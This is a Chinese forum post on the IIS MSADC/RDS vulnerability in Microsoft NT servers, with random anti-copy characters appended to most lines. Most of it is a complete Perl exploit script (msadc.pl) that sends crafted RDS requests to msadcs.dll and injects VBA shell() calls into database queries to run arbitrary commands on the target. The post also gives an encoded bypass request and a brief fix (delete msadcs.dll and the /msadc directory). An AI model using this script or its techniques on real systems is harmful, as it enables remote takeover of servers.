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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 3ucP(Ex@tg  
Sywu=b  
涉及程序: vP!GJX &n5  
Microsoft NT server s3s4OAY  
: DG)g3#  
描述: &UHPX?x  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 }|)R   
HYr}wG  
详细: RH0>ZZR  
如果你没有时间读详细内容的话,就删除: %rQuBi# 1f  
c:\Program Files\Common Files\System\Msadc\msadcs.dll QA!_} N4n  
有关的安全问题就没有了。 -php6$|  
W3W'oo  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 w-B^ [<  
F^aR+m  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4\t1mocCSN  
关于利用ODBC远程漏洞的描述,请参看: a[bBT@f  
Uh}seB#mJj  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm co4h*?q  
^^` Jcd/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 /{2*WI;  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp }]1BO  
XhzGLYb~I`  
这里不再论述。 -a Gcf]6  
0X2@CPIFf  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ?C0l~:j7D  
z(uZF3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset $Kj&)&M  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 3CjL\pIC  
FxG7Pk+=  
Rx36?/  
#将下面这段保存为txt文件,然后: "perl -x 文件名" _;A $C(  
[mxTa\  
#!perl UnDgu4#R`A  
# /T^ JS  
# MSADC/RDS 'usage' (aka exploit) script ylf[/='0K  
# inPJ2uBD\^  
# by rain.forest.puppy )Ag/Qep  
# .N4  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me :^ i9]  
# beta test and find errors! 6< J #^ 6  
RIM`omM  
use Socket; use Getopt::Std; h 6G/O`:  
getopts("e:vd:h:XR", \%args); HJ?+A-n/  
I0AJY )R  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; kpwt]]e*  
\ A1uhHP!  
if (!defined $args{h} && !defined $args{R}) { >4m'tZ8  
print qq~ #yseiVm;  
Usage: msadc.pl -h <host> { -d <delay> -X -v } - N>MBn  
-h <host> = host you want to scan (ip or domain) 5 v^yQ<70  
-d <seconds> = delay between calls, default 1 second gV1[3dW  
-X = dump Index Server path table, if available Q0?\]2eet9  
-v = verbose wyx(FinIH  
-e = external dictionary file for step 5 J`M&{UP  
wmNHT _  
Or a -R will resume a command session 8GPIZh'0 h  
`i ,_aFB|  
~; exit;} =+5,B\~q@C  
U8#xgz@  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; A % Q!^d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ] U@o0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} yAT^VRbv  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); yn AB  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} hjZ}C+=O  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } kEeo5X N  
9A,Z|q/z5  
if (!defined $args{R}){ $ret = &has_msadc; ;?fS(Vz~  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} B@Co'DV[/]  
}/dRU${!  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" f8 /'%$N  
. "cmd /c "; $aCd/&  
$in=<STDIN>; chomp $in; *YTo{~  
$command="cmd /c " . $in ; # m R4fst  
#$~ba %t9%  
if (defined $args{R}) {&load; exit;} .%BT,$1K  
zr v]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; +'@+x'/{^  
&try_btcustmr; Zd^6ulx  
}_tln  
print "\nStep 2: Trying to make our own DSN..."; A$0H .F>  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; V!%jf:k  
'XQ`g CF=  
print "\nStep 3: Trying known DSNs..."; MiT}L  
&known_dsn; DDT_kK;  
wZT%Ee\D%  
print "\nStep 4: Trying known .mdbs..."; 5V[oE\B  
&known_mdb; k- V,~c  
^VW PdH/Fe  
if (defined $args{e}){ @[<nQZw:  
print "\nStep 5: Trying dictionary of DSN names..."; K`&oC8p  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } CQ7{1,?2  
C fEmT8sa  
print "Sorry Charley...maybe next time?\n"; _cTh#t ^  
exit; X5fmz%VK@  
[AH6~-\x  
############################################################################## >F jR9B  
L$'[5"ma ;  
sub sendraw { # ripped and modded from whisker |Z\R*b"  
sleep($delay); # it's a DoS on the server! At least on mine... 3uU]kD^  
my ($pstr)=@_; @Q&3L~K"  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eg<bi@C1|  
die("Socket problems\n"); a)Q!'$"'  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]$afC!Z  
select(S); $|=1; AT2v!mNyCw  
print $pstr; my @in=<S>; /[:dp<  
select(STDOUT); close(S); UX-&/eScN  
return @in;  $p!yhn7  
} else { die("Can't connect...\n"); }} &uP~rEJl+  
7*j (*  
############################################################################## nKR{ug>I)  
4${jr\q]  
sub make_header { # make the HTTP request WPZ?*Sx  
my $msadc=<<EOT s,bERN7'yO  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 *vgl*k?)  
User-Agent: ACTIVEDATA Z nFi<@UB)  
Host: $ip ,h|qi[7  
Content-Length: $clen R [H+qr  
Connection: Keep-Alive tH=P6vY  
a{!QOX%K  
ADCClientVersion:01.06 &aM7T_h8  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ,F&g5'  
NmK8<9`u  
--!ADM!ROX!YOUR!WORLD! #T`t79*N  
Content-Type: application/x-varg js1!9%BV  
Content-Length: $reqlen Sxjub&=  
YV=QF J'  
EOT f}guv~K  
; $msadc=~s/\n/\r\n/g; d0'J C*  
return $msadc;} '|;X0fD  
imQUR C  
############################################################################## yA{W  
3+ >G#W~  
sub make_req { # make the RDS request Y*_)h\f  
my ($switch, $p1, $p2)=@_; 'B+ ' (f  
my $req=""; my $t1, $t2, $query, $dsn; |t$Ma'P  
+cb6??H  
if ($switch==1){ # this is the btcustmr.mdb query 0$r^C6}f  
$query="Select * from Customers where City=" . make_shell(); t|t#vcB  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . iy""(c  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5s(1[(  
L(GjZAP  
elsif ($switch==2){ # this is general make table query Ym;*Y !~[  
$query="create table AZZ (B int, C varchar(10))"; E2)h ?cs  
$dsn="$p1";} w+1Gs ;  
[qsEUc+Z.'  
elsif ($switch==3){ # this is general exploit table query Z{'i F   
$query="select * from AZZ where C=" . make_shell(); Y^<bl2"y8  
$dsn="$p1";} @cU&n6C@  
{Ay"bjZh  
elsif ($switch==4){ # attempt to hork file info from index server [w ;kkMJAy  
$query="select path from scope()"; OtFh,}E  
$dsn="Provider=MSIDXS;";} hy|b6wF&  
D7_*k%;@  
elsif ($switch==5){ # bad query F;^F+H  
$query="select"; 9mZ  
$dsn="$p1";} =B. F;4 0  
)8g(:`w  
$t1= make_unicode($query); 8QMPY[{   
$t2= make_unicode($dsn); ~/j\Z  
$req = "\x02\x00\x03\x00"; jt+iv*2N>  
$req.= "\x08\x00" . pack ("S1", length($t1)); -*.-9B~u  
$req.= "\x00\x00" . $t1 ; s+>:,U<A  
$req.= "\x08\x00" . pack ("S1", length($t2)); E!S 78 z:  
$req.= "\x00\x00" . $t2 ; $AHQmyg<  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; \TU3rk&X  
return $req;} tDUwy^j  
ID/ F  
############################################################################## p,"g+ MwP  
ut r:J  
sub make_shell { # this makes the shell() statement Agrk|wPK  
return "'|shell(\"$command\")|'";} )=Jk@yj8x  
6-O_\Cq8  
############################################################################## @IXsy  
mc4i@<_?  
sub make_unicode { # quick little function to convert to unicode {T].]7Z  
my ($in)=@_; my $out; .`&F>o(A  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } $ tl\UH7%2  
return $out;} NVRLrJWpp  
z?35=%~w   
############################################################################## Ha)ANAD  
@V!r"Bkg.  
sub rdo_success { # checks for RDO return success (this is kludge) K$d$m <  
my (@in) = @_; my $base=content_start(@in); OrK&RC  
if($in[$base]=~/multipart\/mixed/){ ++E3]X|  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 8g7<KKw  
return 0;} K<>sOWZ'S  
f7}*X|_Y  
############################################################################## )+fh-Ui  
yq$,,#XDD=  
sub make_dsn { # this makes a DSN for us h yv2SxP*  
my @drives=("c","d","e","f"); ]LM-@G+Jz  
print "\nMaking DSN: "; b".L_Ma1*  
foreach $drive (@drives) { bcupo:N  
print "$drive: "; ?R$&Xe!5  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "!EcbR  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" H$6`{lx,  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 0Zg%+)iy@  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; //aF5 :Y#  
return 0 if $2 eq "404"; # not found/doesn't exist /soKucN"h  
if($2 eq "200") { n?c]M  
foreach $line (@results) { ^4o;$u4R  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} S.a%  
} return 0;} O]m+u  
nWHa.H#  
############################################################################## jQ)T67  
!Ta>U^ 7  
sub verify_exists { CoA6  
my ($page)=@_; x+]\1p  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !Xph_SQ!B=  
return $results[0];} ^7Fh{q4IE  
%D[0nt|X  
############################################################################## vEn4L0D  
 ^k\e8F/  
sub try_btcustmr { k]I0o)+O.  
my @drives=("c","d","e","f"); +k>.Q0n%m  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ZGd!IghL  
~ _!F01s  
foreach $dir (@dirs) { u#@Q:tnN_  
print "$dir -> "; # fun status so you can see progress yR\btx|e5~  
foreach $drive (@drives) { SZXY/~=h  
print "$drive: "; # ditto G2FXrkU  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Nj 00W1  
$reqlenlen=length( "$reqlen" ); +="e]Yh;  
$clen= 206 + $reqlenlen + $reqlen; )=etG  
mN19WQ(r  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); n9xAPB }  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} piZJJYv t  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 9U%N@Dq`Z  
:*2ud(  
############################################################################## 1&U>,;]*  
\(vY%DL1:  
sub odbc_error { h?azFA~  
my (@in)=@_; my $base; XSZ k%_  
my $base = content_start(@in); '3 ^+{=q  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this *C:|X b<9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,xxR\}  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NSDv ;|f  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `kJ^zw+  
return $in[$base+4].$in[$base+5].$in[$base+6];} MHC^8VL  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =%BZ9,l  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . |x-S&-  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} X7g1:L1Ys  
dB5b@9*  
############################################################################## ..R-Ms)k=  
q+vx_4  
sub verbose { qm8&*UuKJ  
my ($in)=@_; AD<q%pu&H?  
return if !$verbose; se>MQM5 )  
print STDOUT "\n$in\n";} ]V#M%0:Q82  
4BKI-;v$  
############################################################################## ;IokThI  
6ZQwBS0Y  
sub save { r|qp3x  
my ($p1, $p2, $p3, $p4)=@_; aWY gR  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =HlQ36;*  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; *NClfkZ  
close OUT;} }-sdov<<  
C-H@8p?T  
############################################################################## os]8BScx  
#hsx#x||  
sub load { 9*1,!%]  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; g #6E|n  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); z21|Dhiw&  
@p=<IN>; close(IN); fL=~NC"  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); [a wjio  
$target= inet_aton($ip) || die("inet_aton problems"); SrK)t.oK  
print "Resuming to $ip ..."; sU{NHC)5  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; k-{<=>uM  
if($p[1]==1) { )(384@'"u  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; t?'!$6   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; !_cg\K U#  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); uD @#  
if (rdo_success(@results)){print "Success!\n";} ?pB>0b~3-  
else { print "failed\n"; verbose(odbc_error(@results));}} dKxyA"@  
elsif ($p[1]==3){ Evjj"h&0J  
if(run_query("$p[3]")){ L=sYLC6d  
print "Success!\n";} else { print "failed\n"; }} 3skC$mpJHw  
elsif ($p[1]==4){ 7*Ej. HK  
if(run_query($drvst . "$p[3]")){ 57&b:0`p  
print "Success!\n"; } else { print "failed\n"; }} suzZdkMA  
exit;} k+ty>bP=  
1BpiV-]=  
############################################################################## RpD=]y!5_  
j?x>_#tIY  
sub create_table { CyXR i}W.  
my ($in)=@_; "\o+v|;  
$reqlen=length( make_req(2,$in,"") ) - 28; z-.+x3&o @  
$reqlenlen=length( "$reqlen" ); m~-K[+ya`D  
$clen= 206 + $reqlenlen + $reqlen; 5Ezw ~hn  
my @results=sendraw(make_header() . make_req(2,$in,"")); n' q4  
return 1 if rdo_success(@results); WL?\5?G 9l  
my $temp= odbc_error(@results); verbose($temp); ei[j1F  
return 1 if $temp=~/Table 'AZZ' already exists/; .jk@IL  
return 0;} =aBctd:eX`  
;CPr]avY  
############################################################################## mSb#Nn6W  
LH8 fBhw  
sub known_dsn { 0,89H4  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go B=^)Ub5'  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", m;GbLncA  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", [k;\SXDZo  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <#u=[_H  
n T{3o;A  
foreach $dSn (@dsns) { #x 177I\  
print "."; sE Q=dcK  
next if (!is_access("DSN=$dSn")); #\ X#w<\?  
if(create_table("DSN=$dSn")){ J:V6  
print "$dSn successful\n"; )\J+Kiy)  
if(run_query("DSN=$dSn")){ \1fN0e  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 5n9B?T8C  
print "Something's borked. Use verbose next time\n";}}} print "\n";} +~mA}psr  
IJ(  
############################################################################## 0+kH:dP{  
<FcG oGK  
sub is_access { `\#B18eU  
my ($in)=@_; NnDxq%l%  
$reqlen=length( make_req(5,$in,"") ) - 28; @M_oH:GV  
$reqlenlen=length( "$reqlen" ); CzRc%%BA  
$clen= 206 + $reqlenlen + $reqlen; %'s>QF]'  
my @results=sendraw(make_header() . make_req(5,$in,"")); odjT:Vr  
my $temp= odbc_error(@results); iB%gPoDCL@  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 7 /VK##z  
return 0;} B"TAjB& *  
Z7hgA-t  
############################################################################## _/6!yyl  
,y 2$cO_>  
sub run_query { VcSVu  
my ($in)=@_; Rn9m]x  
$reqlen=length( make_req(3,$in,"") ) - 28; ,!Z *5  
$reqlenlen=length( "$reqlen" ); {f2S/$q  
$clen= 206 + $reqlenlen + $reqlen; T"E6y"D  
my @results=sendraw(make_header() . make_req(3,$in,"")); O4cr*MCb5  
return 1 if rdo_success(@results); <UV1!2nv*  
my $temp= odbc_error(@results); verbose($temp); -EkWs/'h  
return 0;} T`\x,` ^  
VC\S'z  
############################################################################## $Q96,rb}k;  
jr /pj?  
sub known_mdb { ;CmS ~K:  
my @drives=("c","d","e","f","g"); +;N2p1ZBf  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b F"G[pD  
my $dir, $drive, $mdb; 5q;GIw^L  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; snf~}:&   
aB{vFTD5  
# this is sparse, because I don't know of many s:#V(<J  
my @sysmdbs=( "\\catroot\\icatalog.mdb", J'SZ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 5_I->-<  
"\\system32\\certmdb.mdb", } z _  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% E*V`":efS  
K9$>Yxe|  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", E:JJ3X|  
"\\cfusion\\cfapps\\forums\\forums_.mdb", juka0/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 6y+Kjd/D  
"\\cfusion\\cfapps\\security\\realm_.mdb", `\T]ej}zvI  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #(#Wv?r6  
"\\cfusion\\database\\cfexamples.mdb", _aFl_\3>  
"\\cfusion\\database\\cfsnippets.mdb", R7$:@<:g  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", )0"wB  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", B_nVP  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \Xm,OE_v"  
"\\cfusion\\database\\smpolicy.mdb", ~$:|VHl  
"\\cfusion\\database\cypress.mdb", Ne8Cgp  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", -8:&>~4`  
"\\website\\cgi-win\\dbsample.mdb", M)'HCnvs'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", <j*;.yyC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" *z!!zRh3x  
); #these are just y TfAS .  
foreach $drive (@drives) { T]l_B2.  
foreach $dir (@dirs){ Z"<aS&GH  
foreach $mdb (@sysmdbs) { JEL =,0J  
print "."; !([Q1r{u  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ :?2+'+%'  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; oM/(&"  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ^} P|L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; X[\b!<C  
} else { print "Something's borked. Use verbose next time\n"; }}}}} g^OU+7o  
oqH811  
foreach $drive (@drives) { n*(Vf'k  
foreach $mdb (@mdbs) { R ,-y  
print "."; :[ z=u  
if(create_table($drv . $drive . $dir . $mdb)){ }\k"azQ`  
print "\n" . $drive . $dir . $mdb . " successful\n"; xWWfts1t  
if(run_query($drv . $drive . $dir . $mdb)){ |q"WJQ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; .<} (J#vC  
} else { print "Something's borked. Use verbose next time\n"; }}}} pV]m6! y&  
} p(in.Xz  
R}IMX9M=  
############################################################################## Y4e64`V)  
*xR;}%s\  
sub hork_idx { Z[<rz6%cB  
print "\nAttempting to dump Index Server tables...\n"; Aq@_^mq1A  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; hG .>>  
$reqlen=length( make_req(4,"","") ) - 28; c-.t8X,5(~  
$reqlenlen=length( "$reqlen" ); zc>/1>?M  
$clen= 206 + $reqlenlen + $reqlen; ,TPNsz|Q  
my @results=sendraw2(make_header() . make_req(4,"","")); E5qh]z (  
if (rdo_success(@results)){ ??0C"8:[  
my $max=@results; my $c; my %d; =Bo(*%  
for($c=19; $c<$max; $c++){ NPc]/n?vDj  
$results[$c]=~s/\x00//g;  5 fY\0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 0j\?zt?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; :=WiT_M  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; `p1szZD&  
$d{"$1$2"}="";} ImO\X`{  
foreach $c (keys %d){ print "$c\n"; } q'~ ?azg:  
} else {print "Index server doesn't seem to be installed.\n"; }} a<9gD,]P  
ykcW>h  
############################################################################## :%cL(',Q  
gBfYm  
sub dsn_dict { .^j6  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F`KA^ZI  
while(<IN>){ t:NTk(  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +>mbBu!7  
next if (!is_access("DSN=$dSn")); Lsa&A+fru  
if(create_table("DSN=$dSn")){ :#W40rUb  
print "$dSn successful\n"; WtOpxAq  
if(run_query("DSN=$dSn")){ 9SF2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { S\=j; Uem  
print "Something's borked. Use verbose next time\n";}}} _ #]uk&5a  
print "\n"; close(IN);} ZD\`~I|gp  
tj/X 7|  
############################################################################## ;1PnbU b  
B@g 0QgA  
sub sendraw2 { # ripped and modded from whisker >MD['=J[d  
sleep($delay); # it's a DoS on the server! At least on mine... 5VI c  
my ($pstr)=@_; oe,I vnt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || R&}"En`$s  
die("Socket problems\n"); \|9@*]6:  
if(connect(S,pack "SnA4x8",2,80,$target)){ :ad  
print "Connected. Getting data"; H0<(j(JK  
open(OUT,">raw.out"); my @in; wz^Q,Od  
select(S); $|=1; print $pstr; 1xN6V-qk  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 'L|& qy@  
close(OUT); select(STDOUT); close(S); return @in; &|>CW:)&1"  
} else { die("Can't connect...\n"); }} 3aIP^I1  
Sc03vfmo"N  
############################################################################## *ue- x!"c  
wGdnv}#  
sub content_start { # this will take in the server headers ^Xv_y+  
my (@in)=@_; my $c; GPBp.$q+B  
for ($c=1;$c<500;$c++) { 1OB,UU"S$  
if($in[$c] =~/^\x0d\x0a/){ a+A^njk  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } I3 /^{-n  
else { return $c+1; }}} +vOlA#t%Z  
return -1;} # it should never get here actually S+(TRIjk  
PwP;+R};|  
############################################################################## '<! b}1w0  
A9Cq(L_H  
sub funky { W4n;U-Hb  
my (@in)=@_; my $error=odbc_error(@in); CqW:m*c  
if($error=~/ADO could not find the specified provider/){ U9k;)fK  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; HKu? J  
exit;} J2A+x\{<  
if($error=~/A Handler is required/){ Z*&y8;vUQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; wdS4iQD  
exit;} 5(BB`)  
if($error=~/specified Handler has denied Access/){ GIXxOea1  
print "\nServer has custom handler filters (they most likely are patched)\n"; n^F:p*)Q%  
exit;}} QTZf e<m0  
4n6EkTa  
############################################################################## .m--# r  
g\9I&z~?  
sub has_msadc { p4l^b[p  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); hcWYz  
my $base=content_start(@results);  zxN,ys  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); k?(x}IZdG  
return 0;} _X ?W)]:  
;. jnRPo";  
######################## Ns?qLSN  
h)S223[  
kmfz=q?  
解决方案: Wh PwD6l>  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll tJ:]ne   
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 UNx|+  
$bf&ct*$h  
拿出来充数 哈哈
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